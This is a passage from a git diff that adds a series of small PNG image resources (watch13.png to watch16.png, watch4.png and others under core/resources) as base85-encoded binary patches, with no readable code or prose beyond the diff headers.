zoBeZ>K-Ku}6b$63+tQ7o2_GBS=H{q_E4b+XN5sk<*+nATw!G5pegRylJ7l@Qx*h;QjbP7|!X zHOVb|KEV2oLwKfvYk*^bV_X4mh!(0d7io1hT5BdIW>l?KyO7JxSAZfAEVpDo{po?( zo}P5~4L58to<2Xz(;4X8Fi0wC5|0_gmO;Q4jp&zZ99?rp)B;Vpu9%&J!O^q!8!l7^o>@g$=UKf;>+ zG)igCoSBf-YI$PczI(pigc}F4R}lah8QFh$*RI#!Ff)@~ACJex;6M+y3ORl36bM18 zvmM(I*arBO2*);9y`}}(EW^auMMn1h4yq-3yW8>ofHP+%r0@I1`|tnS$C|Bt9(bxL z!sl(v?Yr;3=f}Oh{d>B*yTtJD5K<~;XERLCW|3OsIyS9s2|O>x<;z*}`3l8CiG=6U zo=Or$l3cFH`1rHBQYoH&;DK-6)!g|iz@yC)@NXGd+B=ROJ#?_8rK8r;(z$DVe990) zh~C~Vx;k6wNF{M>lb{|@E|&3Jo7QBERBHm)u_+cSjE+vq`T4Avo15JC^Phk3-e%-= z;CORgw*NGm*}(ALy`SH^X3fz1v?k_xuIlVe8J_3R7|l$w*#h}|nL?qY7Z*!PN+}A3 z#S_2y#SibP)$&V`E&!*1@LG`nIvWE0z~$q;2aIbKksDpLI^;kR2zW-zOh9ZF86}$Ut&$Sjl}%J)Bpeg07*qoM6N<$f(8ij*8l(j literal 0 HcmV?d00001 diff --git a/core/resources/watch13.png b/core/resources/watch13.png new file mode 100644 index 0000000000000000000000000000000000000000..4010c1bb0bafe47577ca5943b12f57b6cc3ee669 GIT binary patch literal 2630 zcmV-M3c2-(P)@2HQ*UHxaBpO3pY$&$0000EbVXQnL3MO! zZ*l-tZfkCDcW#U!4DtW~03Lc&Sad{Xb7OL8aCB*JZU6vyoJ&+F$V@INElLFd5MKj+ z>hujP000SXTLtPKk4)BR#7_Ld} zuJ-o6`<`?7uxnXKO(DZG^Phcp-gnRc|NNh4-{%~`JBX*B{&ll4wJ&OI2I5$EXsuI9 zsW+9<=Z)dnJ$r8d#XDIKK>WT3jvhVg$8qrQN|}!+r4qJnRXxvdkSij-}HHv1`|e)LJt=v&eHVFY@YafafRZZ?);qS{P%PT-LmCDJBX_^mvO5bqj7C z9mH{LCMMqG`0>}x+}!LV`}Y0a{Xq0~K5OHbv9TAnD#eR^eeH7l_CZ;xggk!uEZ;r? zy*;gbWLFb6UgL6Iug7aAmN+xM!Y4o8%S|HzH*9O7WVi6h|2WJ}ouxf((cjxfI-L?r zOU0c-LnE7CdTHzs5MNcm(W9?sl;TV_+hmQ5Y_XSDOFaDZa~xmFa@VbCI@1>Ej6+vf zl61x;m3HXvOVQDj#C9#*z^1#)<4HF<<@M zrzsZlOr0L*nhwEob{GHs@;TyIF*0(E?C9vb6BxSez68)(-*oM@Jyxw2Gd`80y)8kk z4C&UOPHe6aMH|UCxbW0}9N-^6yO&gRnooaaKZ83*(Z*tAi_cW0gX!subal0%wUKw+ zvF8IoAAme~@Wq>rF;+I4=F(!G=g%eR*koaQHVQ!)87iSBip^Uy-*ElRfBlq){`wOH z$rPXZ@_x4NdOw-=KBCx=Nl6OLLrk8}5yzTD!c&8T*WCeh1K3jPzw$g!0rKq3DofRX zehqfQr5YKu0i_{UU|R-D3WNY5z!-S$>Bo8K{(Eq}fCv6zAH(myg-l03VGW`h6f5Ak z4*8-WjukB}8GCs-zZJ*;fvq*$g21zlfwi*2_bikVXv7r(3T&$mDWP1<^YAym#>>YJ zG49CN?a~;t#q%5i zhH9vAgkfrYh56Ys)yPl@4aJIPDX+M&sF=PO^Mh}Fla z0haTcxn;#0^EC=3&BgJHM5`qt;ZrV$1c8q+*bM=`ZH#to+rpT-&052SiB&S~NmAJW zr8L@rYYQA3Y)cS@RpK}%3_}3g26hm%4pOcfYOz5INO}TGK=I-lUcy0SETSmFbzPKN z9|4}NHH+nPwHpk9Z(-Sz(Z3ufnY5`!8qW~~j=*&UjxBI3xc#pC_@})Ob8KvkKil&+ zboF$R3M94I5Y@o038XX#VYub)5h|fZOrJvtL7`B@m{>IgICdPzv*mL5E@KdZqmdF+ zP2<=C-<9~Tz;^|nQ+L6(1*iHksj<>i8@R;zQ3+Z7qdwQq!B%_^5G^lr{D*j&KE;5lMF z`@j<LgyOOn1I;a?GaMKp-=5}Oi|T1}D9uj#qD=_3sRW%;p> z{b}A9y)Zt0jzq$zt0}^_Vmzn*STm?=7Z?3mX7)E!`&Mu0XnTre!bkZA?iIy&5TLQa5Xp1_zC&8BxG#qgx*s^}# z7GT>DtreI!_yql(8N#s2&l{(=H$sKT`HB% zJ^JX^_c!QH0fn~+0628$i9@@0fABr?^SNuAo0FoqyA4a#I5GAT#u&0~n{cGSkx;9| zSW?h8(1dD~Ve<48hYmc2F6QZIX{K6@IC*l))M{bz```cP&lsZ&un4?OPo6OhFVz2iP_mV9yxH}U;nL&W>#0%v{G6Y3b|K* z_OoyA%jXv>jkOkmS2kw;hX{cBmTe0#v}4D6dp`W(JMT*-o40{TYHb{)wA5OKQ52WL zu)HumedeiWp83gG{m%%EtWN{8zl-4a9!?u!10z5WS1;S!V-1)GCfRTX_+tcYj3%H3 o2mrri_3w(`0%z`+wvrNPh5!Hn07*qoM6N<$f;lq-_5c6? literal 0 HcmV?d00001 diff --git a/core/resources/watch14.png b/core/resources/watch14.png new file mode 100644 index 0000000000000000000000000000000000000000..1b17692ed26fe129194af2bddc7cde4f3ae301e1 GIT binary patch literal 2609 zcmV-13eNS3P)@2HQ*UHxaBpO3pY$&$0000EbVXQnL3MO! zZ*l-tZfkCDcW#U!4DtW~03Lc&Sad{Xb7OL8aCB*JZU6vyoJ&+F$V@INElLFd5MKj+ z>hujP000SqNklU$;ml6mwj2w zhjWs)fLwIVd=GoCwfFzGzV&@;eM|5j+LKQ{8HLQZwN`7wP&2koEiJ>J@?%HUzf&s}8MXY682?!?PUv#}qexc{!WcMY!zZ1VJRjgMT-fI(dxttU-5Ij!Y&grlv|8SFO6F>%f5* z_5j{n0t^fcq-!+>GntgJc5Sbmnkn<>b0>LaD$AF)rD%ysk|~Rhe3VSqA)2u1S{|o; zSq#HAup=fN?G9I8k>c1wmZx`}B55tKa(OGRYqPKrZgQM>VR-n}1AuxHzzsLt`WM5H zeOtDyH>y>SKlYzsBxvKq?~7nrlCEVjQfV7$2ow-c+GN`z1R4SjzHaz8(9qLqqfh{vW^q0Q>eGS{(%8eVaC|k&a{W%-@dj!dRBA8(iFo zNq$)j(~@XFH}ON=u;6@C4G=GYbX-tzS~&6AQMy|#y1H5!9v(G%d)Fog23~v#C;>=- zFbsYdk4JSn9p_)elRWl{%jN4_6oPC=6eR?{0$)M>4d&^F`HP+iG=8A*e8t*s$#{A* zFB}*_DOkC(TXuD=xE5GLGXo_+5QLk1d-Kxw0}c%pNVh~$p(fc9X$b3cLf-k}Os-2CCy?0n#E*7rp?QflM%Q&aTxbfC4cuDRy=ZNM@B+24QQTBU@@<WC6$2T6agI zj-fS_Dn70)3AI2W&H;pA8V!>Y(29rdyPM&|18m&-5q@|752%#qS#j|uKJ~Tlu(`N$eHOfT3}?Opcbxb*D(=VyIA|G}xxVGQl(i^=bvnvZ&Q+n3lt> zKYWP3O&=sw27aJ1q$XwyM5rmeK1a?rAnoA$1uV;4I>-Rm3`0FtsnnK%7LEm`CE5Jh z)x={KwYtK!1rbYNTLQ}zSO#qS5OE}~EpTmtV>P^Bnu1iq zVWBj~Wgq$|ANlm>S=Q4<5NP~BGy>JojX-T~Tv`i)Y5~JYQYw`R!?4x_@J+45{l#Ks zJ3vP+MlR+du^ThD1retSU<(|p;enFXaA7nSA>Y|X+!gqt!1Fc6VxTtLVi0RpM=8b3 z%)G8vs}s%cy7WBve&6@Za=AixKEsM+38@v1C6;C%aRgCE5OW2wh{Q1(0EQH}mLTRz zVy+Pq1XDDY&=ielM}liM#zdButYNk(sGk_1CFN4B)(8S+?A`m=GfjZAi_ZGy=;)O8 zJde#AmeVCq;Vt-B&EQ-7k=+z)NvGKH^_$tSaTBg=K-dy&c}~0$v{0WuP15qwT66U1 zsc>Oo{z#=#3V=DFx>S-q_}~+#^7;0zE3Q~C|9y0f!LyR=>R!@ugQzQUmqfr4V2E>T z9K7L-sCt@mO)+z($l$Y2(c77&P$+Wr=%{|;iC^9{F)>mEjsPc@!ew^0aNYR$Sur{~ z$?CpN+RXyt>@=n!Fq?v=Xox!!TnUk;M=S}ZZ1kG~OcR3Y0)x-|nVx)xTCK*hV`F-9 z^3uI}FTU006Li_g|jh zy7lTU32kxj==R6u! z(2GE@DE6kZ90>RA>wl)TwJosiyia#l`Ej6Aw?=e<7;f?5dFfR};#`C@N(HM4=sZn@=-Z(MZI`kS=Y zk!aM_t*vS4I1bUMjbRv^Jv&FSSf*Gk>FMct6$HL07Uy1m{PADjS1!*kicJ9nfd593 zce)!2pa)pJcI_pd+qZxDYpGOvy;35fl(x0jG6+IXsjyb7RnHC&AO1ss|0Da)``)LK zZewpJ@NSv}E&^5n*1H%V&`7hRyv1$ke*rkZC4hFoZJJGEUF$UR`z*~AdpGSrVlau$ Tyq~MT00000NkvXXu0mjf(&O}N literal 0 HcmV?d00001 diff --git a/core/resources/watch15.png b/core/resources/watch15.png new file mode 100644 index 0000000000000000000000000000000000000000..af32f9877a8ffbfd9cf40d2ab4feece48778b348 GIT binary patch literal 2534 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 literal 0 HcmV?d00001 diff --git a/core/resources/watch16.png b/core/resources/watch16.png new file mode 100644 index 0000000000000000000000000000000000000000..e8ef8c33096febf8d6d85ab452b2b9a5b1a376ca GIT binary patch literal 2655 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 literal 0 HcmV?d00001 diff --git a/core/resources/watch4.png b/core/resources/watch4.png new file mode 100644 index 0000000000000000000000000000000000000000..630b1a9fd9c8ee8845832109e35fa8054f29f49c GIT binary patch literal 2603 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 